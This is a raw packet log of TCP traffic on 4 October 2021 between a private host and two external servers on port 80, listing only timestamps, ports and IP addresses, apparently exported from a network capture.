Oct 4, 2021 17:00:21.893724918 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.893729925 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.893747091 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.893759012 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.893764973 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.893775940 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.893780947 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.893784046 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.893796921 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.893811941 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.893825054 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.893831015 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.895380974 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.914408922 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.914616108 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.915816069 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.915910959 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.915927887 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.915950060 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.915971994 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.915987968 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.915998936 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.916003942 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.916003942 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.916006088 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.916007996 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.916009903 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.916012049 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.916013956 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.916016102 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.916018009 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.916023970 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.916024923 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.916027069 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.916028976 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.916028976 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.916030884 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.916033030 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.916037083 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.916038036 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.916040897 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.916055918 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.916059017 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.916071892 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.916091919 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.916095018 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.916110992 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.916115999 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.916131020 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.916169882 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.916949034 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.938654900 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.938746929 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.943947077 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.943989992 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.944022894 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.944065094 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.944103003 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.944113016 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.944128990 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.944138050 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.944147110 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.944169998 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.944185019 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.944205046 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.944219112 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.944221020 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.944259882 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.944283009 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.944298983 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.944328070 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.944339991 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.944370985 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.944384098 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.944396973 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.944451094 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.945211887 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.962883949 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.963009119 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.965993881 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.966072083 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.966110945 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.966140032 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.966166019 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.966169119 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.966181993 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.966183901 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.966186047 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.966197968 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.966223955 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.966233969 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.966247082 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.966267109 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.966268063 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.966298103 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.966319084 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.966330051 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.966344118 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.966360092 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.966370106 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.966392040 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.966419935 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.966439009 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.967876911 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.987306118 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.987481117 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.993499994 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.993550062 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.993573904 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.993594885 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.993614912 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.993633986 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.993654013 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.993675947 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.993696928 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.993716955 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.993736029 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.993756056 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.993792057 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.993815899 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.993819952 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.993823051 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.995821953 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.011358976 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.011491060 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.015393972 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.015429974 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.015450954 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.015470028 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.015490055 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.015510082 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.015528917 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.015548944 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.015569925 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.015590906 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.015609980 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.015629053 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.015630007 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.015645981 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.015651941 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.015655994 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.015672922 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.015919924 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.015944958 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.015968084 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.015973091 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.015995026 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.015995026 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.016016006 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.016020060 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.016035080 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.016041040 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.016057014 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.016061068 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.016078949 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.016081095 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.016098976 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.016099930 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.016118050 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.016119957 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.016138077 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.016139030 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.016159058 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.016160965 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.016180038 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.016201019 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.017350912 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.035340071 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.035473108 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.043582916 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.043627024 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.043644905 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.043659925 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.043675900 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.043690920 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.043705940 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.043720961 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.043736935 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.043742895 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.043755054 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.043770075 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.043772936 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.043785095 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.043788910 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.043798923 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.043818951 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.045701027 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.059426069 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.059578896 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.065730095 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.065761089 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.065779924 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.065798998 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.065823078 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.065850019 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.065874100 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.065896988 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.065918922 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.065941095 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.065958977 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.065980911 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.065985918 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.066001892 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.066004992 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.066015005 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.066020012 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.066021919 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.066040993 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.066041946 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.066061020 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.066063881 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.066081047 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.066086054 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.066101074 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.066108942 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.066123962 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.066132069 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.066144943 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.066152096 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.066163063 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.066174984 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.066181898 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.066200018 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.066200018 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.066219091 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.066220999 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.066242933 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.066265106 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.067836046 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.083430052 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.083525896 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.097830057 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.097866058 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.097886086 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.097903967 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.097928047 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.097946882 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.097965002 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.097982883 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.098001957 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.098020077 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.098038912 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.098054886 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.098056078 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.098320961 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.099817038 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.107433081 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.107501984 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.115252972 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.115286112 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.115319967 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.115334988 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.115350962 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.115366936 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.115369081 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.115386963 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.115451097 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:22.115482092 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.115490913 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.115493059 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.115545988 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:22.152642012 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.177702904 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.177845001 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.178577900 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.203423977 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.412697077 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.412728071 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.412746906 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.412770987 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.412796974 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.412827015 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.412837982 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.412854910 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.412878990 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.413011074 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.413039923 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.414491892 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.414654970 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.418056965 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.438086987 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.438118935 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.438143015 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.438323021 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.442009926 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.442033052 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.442045927 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.442063093 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.442081928 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.442099094 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.442116022 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.442131996 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.442148924 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.442163944 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.442169905 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.442181110 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.442193985 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.442198038 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.442198038 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.442203045 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.442205906 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.442209005 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.442212105 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.442215919 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.442231894 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.442253113 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.444024086 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.463707924 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.463989973 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.464015961 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.464039087 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.464056015 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.464077950 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.464087009 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.464101076 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.464112043 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.464123964 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.464132071 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.464147091 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.464149952 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.464169979 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.464174032 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.464196920 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.464205027 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.464238882 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.464261055 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.466078997 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.469341993 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.469368935 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.469382048 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.469455957 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.469489098 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.512993097 CEST	80	49167	188.119.113.3	192.168.2.22
